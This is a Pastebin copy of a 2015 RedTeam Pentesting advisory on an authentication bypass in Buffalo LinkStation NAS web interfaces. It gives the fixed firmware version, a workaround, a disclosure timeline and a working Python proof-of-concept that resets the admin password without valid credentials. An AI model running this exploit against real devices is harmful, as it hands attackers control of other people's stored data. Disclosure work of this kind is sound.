Advertisement
moften

[RT-SA-2015-006] Buffalo LinkStation Authentication Bypass

Oct 15th, 2015
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.01 KB | None | 0 0
  1. Advisory: Buffalo LinkStation Authentication Bypass
  2.  
  3. An authentication bypass vulnerability in the web interface of a Buffalo
  4. LinkStation Duo Network Attached Storage (NAS) device allows
  5. unauthenticated attackers to gain administrative privileges. This puts
  6. the confidentiality and integrity of the stored data as well as the
  7. integrity of the device configuration at high risk.
  8.  
  9.  
  10. Details
  11. =======
  12.  
  13. Product: Buffalo LinkStation Duo (LS-WXL), LS-CHL(v2), LS-XHL,
  14. LS-WVL, LS-WSX, LS-VL, LS-QVL, LS-XL
  15. Affected Versions: 1.34, 1.69, 1.70
  16. Fixed Version: 1.71
  17. Vulnerability Type: Authentication Bypass
  18. Security Risk: high
  19. Vendor URL: http://www.buffalotech.com/
  20. Vendor Status: fixed version released
  21. Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-006
  22. Advisory Status: published
  23. CVE: GENERIC-MAP-NOMATCH
  24. CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
  25.  
  26.  
  27. Introduction
  28. ============
  29.  
  30. LinkStation is a brand name of Network Attached Storage (NAS) devices
  31. manufactured by the Japanese company Buffalo. The stored data can be
  32. accessed via several protocols such as SMB, FTP, AFP and HTTP. A web
  33. interface is provided for management purposes.
  34.  
  35.  
  36. More Details
  37. ============
  38.  
  39. The web interface can be reached via HTTP in a web browser. On opening
  40. the web interface the user is first presented a login screen where a
  41. username and a password must be supplied. On submission, an HTTP POST
  42. request is performed by the browser:
  43.  
  44. POST /dynamic.pl HTTP/1.1
  45. Host: 192.168.1.2
  46. [...]
  47.  
  48. bufaction=verifyLogin&user=RedTeam&password=Pentesting
  49.  
  50. In the request above, the username "RedTeam" and the password
  51. "Pentesting" were supplied. The chosen credentials are invalid as no
  52. user with that name exists. The application responds with a JSON-type
  53. reply:
  54.  
  55. HTTP/1.0 200 OK
  56. [...]
  57.  
  58. {
  59. "data": [
  60. {
  61. "pageMode": 2,
  62. "sid": "5e0f9249a6cc5137d051514c47b2bb9b"
  63. }
  64. ],
  65. "errors": [],
  66. "success": false
  67. }
  68.  
  69. On the contrary, if valid credentials of an administrative account are
  70. supplied, a reply similar to the following is received:
  71.  
  72. HTTP/1.0 200 OK
  73. [...]
  74.  
  75. {
  76. "data": [
  77. {
  78. "pageMode": 0,
  79. "sid": "b9466fbff0c2f277449015d6e110b173"
  80. }
  81. ],
  82. "errors": [],
  83. "success": true
  84. }
  85.  
  86. It was found that in both cases valid session IDs are generated and only
  87. the client-side JavaScript web interface restricts their usage. This is
  88. triggered by the key "success" within the reply. If the field is set to
  89. "false", an error is reported and the user is asekd to authenticate
  90. again. Otherwise, the user is allowed to use the web interface.
  91.  
  92. Furthermore, the administrative functions are restricted only on the
  93. client-side as well. The key "pageMode" was found to be one of the three
  94. integers representing the type of the user account:
  95.  
  96. 0 - administrator
  97. 1 - regular user without administrative privileges
  98. 2 - guest user without any privileges
  99.  
  100. Thus, an attacker may simply provide invalid credentials while tampering
  101. the keys "success" and "pageMode" of the reply in transit (for example
  102. by using a proxy). The attacker may then use the web interface as an
  103. administrative user from the browser. Alternatively, a valid session ID
  104. may be requested using invalid credentials and then used directly to
  105. execute privileged operations by sending the appropriate POST requests.
  106. This eliminates the need for tampering the returned JSON-data. Such an
  107. attack is implemented in the Proof of Concept section.
  108.  
  109.  
  110. Proof of Concept
  111. ================
  112.  
  113. The following Python script exploits the described vulnerability and
  114. sets the password of the "admin"-account to an attacker supplied value.
  115.  
  116. ------------------------------------------------------------------------
  117. #!/usr/bin/python
  118.  
  119. import argparse
  120. import requests
  121. import json
  122. import sys
  123.  
  124. parser = argparse.ArgumentParser(description='Buffalo LinkStation ' +
  125. 'Authentication Bypass PoC')
  126. parser.add_argument('host', help='Hostname or IP address of target ' +
  127. 'device', type=str)
  128. parser.add_argument('-p', '--port', help='Port of target device',
  129. type=int, default=443)
  130. parser.add_argument('password', help='New admin password', type=str)
  131. args = parser.parse_args()
  132.  
  133. def get_session_id(url):
  134. headers = {'User-Agent': None}
  135. payload = {'bufaction': 'verifyLogin', 'user': 'RedTeam',
  136. 'password': 'Pentesting'}
  137. try:
  138. sys.stdout.write("Trying to get a session ID... ")
  139. sys.stdout.flush()
  140. r = requests.post(url, headers=headers, data=payload,
  141. verify=False)
  142. except:
  143. sys.stdout.write("could not connect to target.\n")
  144. sys.stdout.flush()
  145. return False
  146. if r.status_code != 200:
  147. sys.stdout.write("bad reply.\n")
  148. sys.stdout.flush()
  149. return False
  150. try:
  151. reply = json.loads(r.text)
  152. sid = reply['data'][0]['sid']
  153. except:
  154. sys.stdout.write("error while parsing reply.")
  155. sys.stdout.flush()
  156. return False
  157. #do not check success key of JSON reply here.
  158. #it will most likely be false (user/password wrong)!
  159. sys.stdout.write("ok.\n")
  160. sys.stdout.flush()
  161. return sid
  162.  
  163. def set_admin_password(url, sid, password):
  164. headers = {'User-Agent': None}
  165. payload = {'bufaction': 'setUserSettingsadmin', 'userName': 'admin',
  166. 'userId': '52', 'userDesc': 'Built-in account for ' +
  167. 'administering the system', 'pwd': args.password, 'confPwd':
  168. args.password, 'primGroup': 'admin', 'quota_soft': '',
  169. 'quota_hard': ''}
  170. cookies = {'webui_session_RedTeam': '%s_en_0' % sid}
  171. try:
  172. sys.stdout.write("Trying to set admin password to %s... " %
  173. password)
  174. sys.stdout.flush()
  175. r = requests.post(url, headers=headers, cookies=cookies,
  176. data=payload, verify=False)
  177. except:
  178. sys.stdout.write("could not connect to target.\n")
  179. sys.stdout.flush()
  180. return False
  181. if r.status_code != 200:
  182. sys.stdout.write("bad reply.\n")
  183. sys.stdout.flush()
  184. return False
  185. try:
  186. reply = json.loads(r.text)
  187. success = reply['success']
  188. except:
  189. sys.stdout.write("error while parsing reply.\n")
  190. sys.stdout.flush()
  191. return False
  192. if success == True:
  193. sys.stdout.write("ok.\n")
  194. sys.stdout.flush()
  195. else:
  196. sys.stdout.write("failed.\n")
  197. sys.stdout.flush()
  198. return success
  199.  
  200. requests.packages.urllib3.disable_warnings()
  201. url = "https://%s:%s/dynamic.pl" % (args.host, args.port)
  202. sid = get_session_id(url)
  203. if sid == False:
  204. sys.exit(-1)
  205.  
  206. if set_admin_password(url, sid, args.password) == True:
  207. sys.stdout.write("\n")
  208. sys.stdout.write("Admin password successfully set!\n")
  209. sys.stdout.write("URL: https://%s:%s/\n" % (args.host, args.port))
  210. sys.stdout.write("New credentials: admin : %s\n" % args.password)
  211. sys.exit(0)
  212. else:
  213. sys.exit(-1)
  214. ------------------------------------------------------------------------
  215.  
  216.  
  217. Workaround
  218. ==========
  219.  
  220. If possible, disable access to the web interface, for example via an ACL
  221. in the responsible ethernet switch.
  222.  
  223.  
  224. Fix
  225. ===
  226.  
  227. Users should install firmware version 1.71 or higher to ensure proper
  228. server-side authentication. In addition, a password should be set for
  229. the "guest" user account, which is by default present and enabled, but
  230. does not have a password.
  231.  
  232.  
  233. Security Risk
  234. =============
  235.  
  236. This vulnerability allows an unauthenticated attacker to gain administrative
  237. privileges on a Buffalo LinkStation. All attached storage devices may then be
  238. accessed by the attacker. This puts the available data at risk as confidential
  239. information may be disclosed, valuable information destroyed or manipulated.
  240. Depending on the firmware of the device, an attacker may also be able execute
  241. malicious code on the LinkStation either via installing a customized firmware
  242. image[0] or by exploiting a publicly disclosed remote command injection
  243. vulnerability[1].
  244.  
  245. It is therefore estimated that the vulnerability poses a high risk to
  246. anyone who uses an affected device.
  247.  
  248.  
  249. Timeline
  250. ========
  251.  
  252. 2015-03-30 Vulnerability identified
  253. 2015-04-09 Customer approved disclosure to vendor
  254. 2015-06-09 Vendor notified
  255. 2015-06-09 Vendor responds: vulnerability is fixed in version 1.70
  256. 2015-06-09 Verified that vulnerability is not fixed in version 1.70
  257. 2015-06-09 Vendor responded: vulnerability is already known and being
  258. worked on, release date is not known
  259. 2015-06-09 Vendor provided list of affected devices
  260. 2015-07-10 Vendor queried for update, no response
  261. 2015-08-03 Vendor queried for update (by phone)
  262. 2015-08-04 Vendor responded: advisory has been forwarded to development.
  263. 2015-08-04 Vendor queried for estimated fix
  264. 2015-08-13 Vendor announced fixed version 1.71
  265. 2015-09-04 CVE ID requested
  266. 2015-09-07 RedTeam verified that the vulnerability has been fixed
  267. 2015-10-07 CVE ID not assigned, may be "duplicate finding"
  268. 2015-10-08 Advisory published
  269.  
  270.  
  271. References
  272. ==========
  273.  
  274. [0] http://buffalo.nas-central.org/wiki/Category:LS-WXL
  275. [1] https://www.andreafabrizi.it/?exploits:terastation
  276.  
  277.  
  278. RedTeam Pentesting GmbH
  279. =======================
  280.  
  281. RedTeam Pentesting offers individual penetration tests performed by a
  282. team of specialised IT-security experts. Hereby, security weaknesses in
  283. company networks or products are uncovered and can be fixed immediately.
  284.  
  285. As there are only few experts in this field, RedTeam Pentesting wants to
  286. share its knowledge and enhance the public knowledge with research in
  287. security-related areas. The results are made available as public
  288. security advisories.
  289.  
  290. More information about RedTeam Pentesting can be found at
  291. https://www.redteam-pentesting.de.
  292.  
  293. --
  294. RedTeam Pentesting GmbH Tel.: +49 241 510081-0
  295. Dennewartstr. 25-27 Fax : +49 241 510081-99
  296. 52068 Aachen https://www.redteam-pentesting.de
  297. Germany Registergericht: Aachen HRB 14004
  298. Geschäftsführer: Patrick Hof, Jens Liebchen
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement